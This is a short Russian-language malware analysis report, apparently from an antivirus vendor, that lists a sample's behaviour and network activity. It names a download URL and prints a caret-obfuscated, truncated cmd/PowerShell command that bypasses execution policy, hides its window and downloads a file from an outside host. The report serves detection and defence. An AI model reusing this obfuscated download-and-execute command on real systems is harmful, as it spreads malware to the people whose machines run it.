Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://bestflowstou.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "pO^W^e^R^shEl^L.^exe^ ^-Exec^UTIonPo^liCY^ ^BYP^aS^S^ -^nopROf^ilE -^W^iND^O^ws^ty^LE ^HI^dd^eN (N^e^W^-objec^t^ S^Ys^tEm.NeT.w^e^bcL^I^E^nt)^.dOWNL^OADFiL^E(^'http://bestflo...
Сетевая активность
UDP
- DNS ASK be####owstou.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "pO^W^e^R^shEl^L.^exe^ ^-Exec^UTIonPo^liCY^ ^BYP^aS^S^ -^nopROf^ilE -^W^iND^O^ws^ty^LE ^HI^dd^eN (N^e^W^-objec^t^ S^Ys^tEm.NeT.w^e^bcL^I^E^nt)^.dOWNL^OADFiL^E(^'http://bestflo...' (со скрытым окном)
